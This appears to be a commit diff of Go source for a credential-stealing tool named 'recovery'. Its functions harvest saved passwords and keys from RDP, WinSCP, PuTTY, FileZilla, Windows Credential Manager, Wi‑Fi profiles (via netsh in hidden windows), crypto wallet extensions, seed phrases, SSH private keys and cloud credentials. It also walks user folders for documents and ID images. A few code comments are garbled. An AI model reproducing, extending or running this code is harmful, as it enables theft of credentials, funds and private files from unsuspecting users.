if err := windows.GetExitCodeProcess(h, &code); err != nil {
return
}
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
}()
}
func (s *PipeSession) sendExitLocked() {
exitCmd := []byte("EXIT")
length := uint32(len(exitCmd))
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send KEY command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv KEY response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("decrypt failed: %s", string(data))
}
return data, nil
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
cmd := fmt.Sprintf("READ:%s", path)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send READ command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv READ response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("read failed: %s", string(data))
}
return data, nil
}
var ActivePipeSession *PipeSession
+21
View File
@@ -0,0 +1,21 @@
//go:build !windows
package platform
import (
"errors"
)
type PipeSession struct{}
var ActivePipeSession *PipeSession
func (s *PipeSession) Close() {}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
return nil, errors.New("not supported")
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
return nil, errors.New("not supported")
}
+58
View File
@@ -0,0 +1,58 @@
package recovery
import (
"recovery/recovery/fingerprint"
"recovery/recovery/scanner"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type CollectOptions = types.CollectOptions
type CollectionResult = types.CollectionResult
type BrowserConfig = types.BrowserConfig
type ProfileInfo = types.ProfileInfo
type ResolvedKeys = types.ResolvedKeys
type PasswordResult = types.PasswordResult
type CookieResult = types.CookieResult
type AutofillResult = types.AutofillResult
type HistoryResult = types.HistoryResult
type BookmarkResult = types.BookmarkResult
type CreditCardResult = types.CreditCardResult
type DiscordTokenResult = types.DiscordTokenResult
type FileResult = types.FileResult
type ExtensionResult = types.ExtensionResult
type WalletResult = types.WalletResult
type TelegramResult = types.TelegramResult
type KeyResult = types.KeyResult
type SeedResult = types.SeedResult
type AppCredentialResult = types.AppCredentialResult
type GamingResult = types.GamingResult
type SteamResult = types.SteamResult
type GameInfo = types.GameInfo
type BattleNetResult = types.BattleNetResult
type EpicResult = types.EpicResult
type RiotResult = types.RiotResult
type UplayResult = types.UplayResult
type VPNResult = types.VPNResult
type NordVPNResult = types.NordVPNResult
type WireGuardResult = types.WireGuardResult
type OpenVPNResult = types.OpenVPNResult
type MullvadResult = types.MullvadResult
type FingerprintResult = fingerprint.Result
type FingerprintJSResult = fingerprint.JSResult
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
func ScanFiles() []FileResult { return scanner.ScanFiles() }
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
return scanner.ScanSeeds(files, passwords, autofill)
}
+137
View File
@@ -0,0 +1,137 @@
//go:build !windows
package scanner
import (
"encoding/xml"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanFileZillaUnix()...)
if runtime.GOOS == "darwin" {
results = append(results, scanWiFiDarwin()...)
}
return results
}
type fzServerUnix struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManagerUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"Servers>Server"`
}
type fzRecentServersUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"RecentServers>Server"`
}
func scanFileZillaUnix() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
fzDir := filepath.Join(home, ".config", "filezilla")
if runtime.GOOS == "darwin" {
fzDir = filepath.Join(home, ".config", "filezilla")
}
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServerUnix
if file == "sitemanager.xml" {
var sm fzSiteManagerUnix
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServersUnix
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
func scanWiFiDarwin() []types.AppCredentialResult {
var results []types.AppCredentialResult
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
if err != nil {
return nil
}
var networks []string
for _, line := range strings.Split(string(out), "\n") {
name := strings.TrimSpace(line)
if name == "" || strings.HasPrefix(name, "Preferred networks") {
continue
}
networks = append(networks, name)
}
for _, name := range networks {
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
password := ""
if err == nil {
password = strings.TrimSpace(string(pw))
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Password: password,
Protocol: "wifi",
})
}
return results
}
+614
View File
@@ -0,0 +1,614 @@
//go:build windows
package scanner
import (
"encoding/xml"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
)
var (
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
procCredFree = advapi32.NewProc("CredFree")
)
const (
credTypeGeneric = 1
credTypeDomainPassword = 2
credTypeDomainCertificate = 3
)
type winCredential struct {
Flags uint32
Type uint32
TargetName *uint16
Comment *uint16
LastWritten syscall.Filetime
CredentialBlobSize uint32
CredentialBlob *byte
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias *uint16
UserName *uint16
}
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanRDP()...)
results = append(results, scanWinSCP()...)
results = append(results, scanPuTTY()...)
results = append(results, scanFileZilla()...)
results = append(results, scanCredentialManager()...)
results = append(results, scanWiFi()...)
return results
}
// ── RDP ────────────────────────────────────────────────────────────────
func scanRDP() []types.AppCredentialResult {
var results []types.AppCredentialResult
// Registry: saved connection history with usernames
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err == nil {
defer k.Close()
servers, _ := k.ReadSubKeyNames(-1)
for _, server := range servers {
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
if err != nil {
continue
}
username, _, _ := sk.GetStringValue("UsernameHint")
sk.Close()
r := types.AppCredentialResult{
Application: "RDP",
Host: server,
Port: 3389,
Username: username,
Protocol: "rdp",
}
// Try to get the password from Credential Manager
pw := credManagerLookup("TERMSRV/" + server)
if pw != "" {
r.Password = pw
}
results = append(results, r)
}
}
// Also scan Credential Manager for TERMSRV/* entries not in the registry
creds := enumCredentials()
seen := make(map[string]bool)
for _, r := range results {
seen[strings.ToLower(r.Host)] = true
}
for _, c := range creds {
target := strings.ToLower(c.target)
if !strings.HasPrefix(target, "termsrv/") {
continue
}
host := c.target[len("TERMSRV/"):]
if seen[strings.ToLower(host)] {
continue
}
results = append(results, types.AppCredentialResult{
Application: "RDP",
Host: host,
Port: 3389,
Username: c.username,
Password: c.password,
Protocol: "rdp",
})
}
// Scan for .rdp files
results = append(results, scanRDPFiles()...)
return results
}
func scanRDPFiles() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
dirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range dirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
continue
}
path := filepath.Join(dir, e.Name())
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
r := parseRDPFile(string(data))
if r.Host != "" {
r.Extra = path
results = append(results, r)
}
}
}
return results
}
func parseRDPFile(content string) types.AppCredentialResult {
r := types.AppCredentialResult{
Application: "RDP",
Protocol: "rdp",
Port: 3389,
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
parts := strings.SplitN(line, ":", 3)
if len(parts) < 3 {
continue
}
key := strings.ToLower(strings.TrimSpace(parts[0]))
val := strings.TrimSpace(parts[2])
switch key {
case "full address":
if idx := strings.LastIndex(val, ":"); idx > 0 {
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
r.Host = val[:idx]
r.Port = p
continue
}
}
r.Host = val
case "username":
r.Username = val
case "server port":
if p, err := strconv.Atoi(val); err == nil {
r.Port = p
}
}
}
return r
}
// ── WinSCP ─────────────────────────────────────────────────────────────
func scanWinSCP() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
encPassword, _, _ := sk.GetStringValue("Password")
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
protocol := "sftp"
switch fsProtocol {
case 0:
protocol = "sftp"
case 5:
protocol = "ftp"
case 1:
protocol = "scp"
}
password := ""
if encPassword != "" {
password = decryptWinSCPPassword(encPassword, hostname, username)
}
results = append(results, types.AppCredentialResult{
Application: "WinSCP",
Host: hostname,
Port: port,
Username: username,
Password: password,
Protocol: protocol,
})
}
return results
}
func decryptWinSCPPassword(hex, hostname, username string) string {
key := username + hostname
decNextChar := func(s string, idx int) (byte, int) {
if idx+2 > len(s) {
return 0, idx + 2
}
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
if err1 != nil || err2 != nil {
return 0, idx + 2
}
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
}
idx := 0
flag, idx := decNextChar(hex, idx)
if flag == 0xFF {
return ""
}
_, idx = decNextChar(hex, idx) // skip unused byte
length, idx := decNextChar(hex, idx)
delLen, idx := decNextChar(hex, idx)
for i := 0; i < int(delLen); i++ {
_, idx = decNextChar(hex, idx)
}
raw := make([]byte, 0, int(length))
for i := 0; i < int(length); i++ {
c, newIdx := decNextChar(hex, idx)
idx = newIdx
raw = append(raw, c)
}
if len(key) > 0 {
decrypted := make([]byte, len(raw))
for i, c := range raw {
decrypted[i] = c ^ key[i%len(key)]
}
return string(decrypted)
}
return string(raw)
}
// ── PuTTY ──────────────────────────────────────────────────────────────
func scanPuTTY() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
protocol, _, _ := sk.GetStringValue("Protocol")
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
if protocol == "" {
protocol = "ssh"
}
extra := ""
if keyFile != "" || proxyHost != "" {
parts := []string{}
if keyFile != "" {
parts = append(parts, "key:"+keyFile)
}
if proxyHost != "" {
parts = append(parts, "proxy:"+proxyHost)
}
extra = strings.Join(parts, "; ")
}
// URL-decode session name for display purposes
decodedName := strings.ReplaceAll(sess, "%20", " ")
_ = decodedName
results = append(results, types.AppCredentialResult{
Application: "PuTTY",
Host: hostname,
Port: port,
Username: username,
Protocol: protocol,
Extra: extra,
})
}
return results
}
// ── FileZilla ──────────────────────────────────────────────────────────
type fzServer struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManager struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"Servers>Server"`
}
type fzRecentServers struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"RecentServers>Server"`
}
func scanFileZilla() []types.AppCredentialResult {
var results []types.AppCredentialResult
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
fzDir := filepath.Join(appdata, "FileZilla")
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServer
if file == "sitemanager.xml" {
var sm fzSiteManager
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServers
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
// ── Windows Credential Manager ─────────────────────────────────────────
type credEntry struct {
target string
username string
password string
credType uint32
}
func enumCredentials() []credEntry {
var count uint32
var credsPtr uintptr
ret, _, _ := procCredEnumerateW.Call(
0,
0,
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&credsPtr)),
)
if ret == 0 || count == 0 {
return nil
}
defer procCredFree.Call(credsPtr)
var results []credEntry
for i := uint32(0); i < count; i++ {
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
c := (*winCredential)(unsafe.Pointer(entryPtr))
target := windows.UTF16PtrToString(c.TargetName)
username := ""
if c.UserName != nil {
username = windows.UTF16PtrToString(c.UserName)
}
password := ""
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
password = string(blob)
}
results = append(results, credEntry{
target: target,
username: username,
password: password,
credType: c.Type,
})
}
return results
}
func credManagerLookup(target string) string {
target = strings.ToLower(target)
for _, c := range enumCredentials() {
if strings.ToLower(c.target) == target {
return c.password
}
}
return ""
}
func scanCredentialManager() []types.AppCredentialResult {
var results []types.AppCredentialResult
for _, c := range enumCredentials() {
target := strings.ToLower(c.target)
// Skip TERMSRV entries (already handled by RDP scanner)
if strings.HasPrefix(target, "termsrv/") {
continue
}
// Skip entries with no useful data
if c.username == "" && c.password == "" {
continue
}
typeName := "generic"
switch c.credType {
case credTypeDomainPassword:
typeName = "domain"
case credTypeDomainCertificate:
typeName = "certificate"
}
results = append(results, types.AppCredentialResult{
Application: "CredManager",
Host: c.target,
Username: c.username,
Password: c.password,
Protocol: typeName,
})
}
return results
}
// ── WiFi ───────────────────────────────────────────────────────────────
func scanWiFi() []types.AppCredentialResult {
var results []types.AppCredentialResult
cmd := exec.Command("netsh", "wlan", "show", "profiles")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
return nil
}
var profiles []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
name := strings.TrimSpace(line[idx+2:])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
for _, name := range profiles {
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
continue
}
password := ""
auth := ""
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
val := strings.TrimSpace(line[idx+2:])
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
password = val
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
auth = val
}
}
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Username: auth,
Password: password,
Protocol: "wifi",
})
}
return results
}
+147
View File
@@ -0,0 +1,147 @@
package scanner
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
var knownWalletExtensions = map[string]string{
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
"aeachknmefphepccionboohckonoeemg": "Coin98",
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
"agoakfejjabomempkjlepdflaleeobhb": "Core",
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
}
func ScanExtensions() []types.ExtensionResult {
var results []types.ExtensionResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
extDir := filepath.Join(profile.Path, "Extensions")
entries, err := os.ReadDir(extDir)
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
extID := e.Name()
// Skip internal Chromium marker dirs
if strings.HasPrefix(extID, "_") {
continue
}
extIDDir := filepath.Join(extDir, extID)
versionDirs, err := os.ReadDir(extIDDir)
if err != nil {
continue
}
for _, vd := range versionDirs {
if !vd.IsDir() {
continue
}
versionPath := filepath.Join(extIDDir, vd.Name())
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
category := ""
if walletName, ok := knownWalletExtensions[extID]; ok {
category = "wallet"
if name == "" {
name = walletName
}
}
results = append(results, types.ExtensionResult{
ExtID: extID,
Name: name,
Version: version,
Browser: cfg.Name,
Profile: profile.Name,
Path: versionPath,
Category: category,
})
break // first version directory only
}
}
}
}
return results
}
type manifestBasics struct {
Name string `json:"name"`
Version string `json:"version"`
}
func readManifestBasics(path string) (name, version string) {
data, err := os.ReadFile(path)
if err != nil {
return "", ""
}
var m manifestBasics
if err := json.Unmarshal(data, &m); err != nil {
return "", ""
}
if strings.HasPrefix(m.Name, "__MSG_") {
m.Name = ""
}
return m.Name, m.Version
}
+170
View File
@@ -0,0 +1,170 @@
package scanner
import (
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
const (
maxFiles = 500
maxScanDepth = 3
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
)
var targetExtensions = map[string]bool{
// Office documents
".docx": true, ".doc": true, ".docm": true,
".xlsx": true, ".xls": true, ".xlsm": true,
".pptx": true, ".ppt": true, ".pptm": true,
".odt": true, ".ods": true, ".odp": true,
// Plain text / markup
".txt": true, ".rtf": true, ".md": true,
".csv": true, ".tsv": true,
// PDFs
".pdf": true,
// Archives (metadata only — content not fetched automatically)
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
// Credential / key files
".kdbx": true, ".key": true, ".pem": true,
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
// Dotenv — commonly stores API keys and secrets
".env": true,
// Images — IDs, passports, screenshots of credentials, seed phrases
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
".heic": true, ".heif": true,
}
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
type scanLocation struct {
subPath string
label string
}
// ScanFiles walks common user locations and returns matching file metadata.
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
func ScanFiles() []types.FileResult {
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
var results []types.FileResult
seen := make(map[string]bool)
for _, loc := range getScanLocations() {
dir := filepath.Join(home, loc.subPath)
scanDir(dir, loc.label, 0, &results, seen)
if len(results) >= maxFiles {
break
}
}
return results
}
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
if depth > maxScanDepth || len(*results) >= maxFiles {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if len(*results) >= maxFiles {
return
}
name := e.Name()
// skip hidden / system files
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
continue
}
fullPath := filepath.Join(dir, name)
if e.IsDir() {
scanDir(fullPath, label, depth+1, results, seen)
continue
}
ext := strings.ToLower(filepath.Ext(name))
if !targetExtensions[ext] {
continue
}
if seen[fullPath] {
continue
}
seen[fullPath] = true
info, err := e.Info()
if err != nil {
continue
}
if info.Size() > maxFileSizeList {
continue
}
var tags []string
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
tags = contentTags
}
*results = append(*results, types.FileResult{
Path: fullPath,
Name: name,
Ext: ext,
Size: info.Size(),
Modified: info.ModTime().Unix(),
Dir: label,
Tags: tags,
})
}
}
// looksLikeSeedLine returns true if every word is 38 lowercase letters.
// BIP39 words are exclusively lowercase az with lengths in that range.
func looksLikeSeedLine(words []string) bool {
if !seedPhraseLengths[len(words)] {
return false
}
for _, w := range words {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
}
return true
}
// FetchFile reads a file and returns its raw bytes.
// Returns an error if the file exceeds MaxFetchSize or does not exist.
func FetchFile(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, fmt.Errorf("file not found")
}
if info.IsDir() {
return nil, fmt.Errorf("path is a directory")
}
if info.Size() > MaxFetchSize {
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
}
return os.ReadFile(path)
}
+14
View File
@@ -0,0 +1,14 @@
//go:build !windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{".local/share", ".local/share"},
{"Dropbox", "Dropbox"},
{"snap", "Snap"},
}
}
+17
View File
@@ -0,0 +1,17 @@
//go:build windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{`OneDrive\Desktop`, "OneDrive/Desktop"},
{`OneDrive\Documents`, "OneDrive/Documents"},
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
}
}
+313
View File
@@ -0,0 +1,313 @@
package scanner
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
const maxKeyFileSize = 512 * 1024 // 512KB
func gcpConfigDir(home string) string {
if runtime.GOOS == "windows" {
return filepath.Join(home, "AppData", "Roaming", "gcloud")
}
return filepath.Join(home, ".config", "gcloud")
}
func ScanKeys() []types.KeyResult {
var results []types.KeyResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
results = append(results, scanSSHKeys(home)...)
results = append(results, scanAWSCredentials(home)...)
results = append(results, scanGCPCredentials(home)...)
results = append(results, scanAzureCredentials(home)...)
results = append(results, scanDockerCredentials(home)...)
results = append(results, scanKubeConfig(home)...)
results = append(results, scanEnvFiles(home)...)
return results
}
func scanSSHKeys(home string) []types.KeyResult {
sshDir := filepath.Join(home, ".ssh")
entries, err := os.ReadDir(sshDir)
if err != nil {
return nil
}
var results []types.KeyResult
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
continue
}
path := filepath.Join(sshDir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if isPrivateKey(content) {
results = append(results, types.KeyResult{
Type: "ssh",
Name: name,
Path: path,
Size: info.Size(),
Content: content,
})
}
}
